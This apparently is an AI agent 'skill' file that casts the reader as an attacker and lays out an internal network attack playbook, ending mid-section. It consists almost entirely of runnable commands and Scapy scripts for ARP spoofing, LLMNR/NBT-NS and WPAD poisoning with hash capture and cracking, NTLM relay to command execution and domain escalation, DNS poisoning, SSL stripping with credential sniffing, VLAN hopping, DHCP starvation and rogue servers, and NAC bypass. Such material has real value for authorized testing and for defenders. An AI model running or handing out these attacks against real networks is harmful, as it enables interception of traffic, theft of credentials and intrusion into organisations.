---

name: offensive-network-attacks description: "Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface."

Network Attacks (Layer 2/3) -- Offensive Methodology

You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.

Quick Workflow

1. Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
2. Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
3. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
4. Enable Responder poisoning to capture NTLMv2 hashes.
5. Relay captured hashes with ntlmrelayx against hosts without SMB signing.
6. ARP spoof the gateway for targeted MITM and credential interception.
7. Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
8. Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.

---

ARP Spoofing

ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.

Bettercap ARP Module

sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on

arpspoof and Ettercap

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter

Gratuitous ARP with Scapy

from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)

Bypassing Static ARP Entries

Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.

---

LLMNR / NBT-NS / mDNS Poisoning

When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.

Responder Setup and Hash Capture

sudo responder -I eth0 -A                    # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf                  # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule   # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt                        # NTLMv1 (weaker)

WPAD is a high-value vector: browsers query for wpad.dat via DNS then LLMNR/NBT-NS. The -w flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.

Inveigh (Windows-Native)

From a compromised Windows host, poison without dropping Linux tools:

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y   # C# binary avoids PS logging

NTLMv1/v2 Relay with ntlmrelayx

When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.

nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami"           # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
  --escalate-user attacker --delegate-access                               # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController                          # ADCS ESC8

Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.

---

DNS Poisoning

DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.

Rogue DNS Server via DHCP Option 6

After DHCP starvation or on a network without DHCP snooping, deploy dnsmasq with your IP as DNS (option 6):

# /etc/dnsmasq-rogue.conf:
#   interface=eth0
#   dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99    # gateway
#   dhcp-option=6,10.0.0.99    # DNS
#   address=/intranet.corp.local/10.0.0.99
#   server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d

DNS Cache Poisoning with Scapy

from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random

# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
    pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
          UDP(sport=53, dport=random.randint(1024, 65535)) / \
          DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
              an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
    send(pkt, verbose=False)

Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.

DNS Rebinding

Bypass same-origin policy by toggling a DNS record between your server and an internal IP:

# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
  -ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1

---

Man-in-the-Middle (MITM)

Once positioned between victim and gateway (via ARP spoof, DHCP redirect, or tap), intercept and modify traffic.

Bettercap HTTP Proxy and SSL Strip

sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on

HSTS Bypass with sslstrip+ and dns2proxy

sslstrip+ rewrites domain names (e.g., accounts.google.com to accountss.google.com) so the browser never applies HSTS. dns2proxy resolves rewritten domains to real IPs.

arpspoof -i eth0 -t 10.0.0.50 10.0.0.1                                      # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000  # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0                                                   # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log                               # terminal 4

Credential Interception from Proxied Traffic

tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
  -T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap           # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0        # real-time credential sniffer

---

VLAN Hopping

Switch Spoofing (DTP Negotiation)

If the switch port is in dynamic auto/desirable mode (common Cisco default), negotiate a trunk:

sudo yersinia dtp -attack 1 -interface eth0    # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan              # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100                      # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up

Double Tagging (802.1Q)

Works when you are on the native VLAN and the switch strips only the outer tag. Unidirectional -- you send into the target VLAN but responses route normally and will not reach you.

from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp

# Outer tag = native VLAN (1), inner tag = target VLAN (100)
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
      Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
sendp(pkt, iface="eth0")

# Double-tagged ARP poisoning into target VLAN
arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
    ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)

Yersinia Layer 2 Attacks

sudo yersinia stp -attack 4 -interface eth0  # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0  # CDP flood (Cisco switches)

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DHCP Attacks

DHCP Starvation

Exhaust the pool so legitimate clients cannot get addresses:

sudo dhcpstarv -i eth0                         # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0   # Yersinia alternative

from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random

for i in range(500):
    mac = str(RandMAC())
    pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
          UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
          xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
    sendp(pkt, iface="eth0", verbose=False)

Rogue DHCP Server for Gateway Redirect

After starvation, offer leases with your IP as gateway and DNS:

# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99 (gateway)   dhcp-option=6,10.0.0.99 (DNS)   dhcp-authoritative
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

---

802.1X / NAC Bypass

MAB Bypass (MAC Spoofing)

If NAC uses MAC Authentication Bypass for printers/VoIP phones, spoof an authorized MAC:

sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u  # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0

Hub / Bridge Insertion

Bridge between an authenticated device and the switch port. 802.1X authenticates the port, not individual MACs -- your traffic shares the authenticated session:

sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0          # eth0 to switch
sudo ip link set eth1 master br0          # eth1 to authenticated device
sudo ip link set br0 up

Certificate Impersonation

If EAP-TLS is used and the RADIUS server does not validate the CA chain strictly:

openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf

NAC Profiling Evasion

Match expected device fingerprint -- OUI, DHCP hostname, TCP stack:

sudo macchanger -m 00:1A:4B:XX:XX:XX eth0                     # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0                       # expected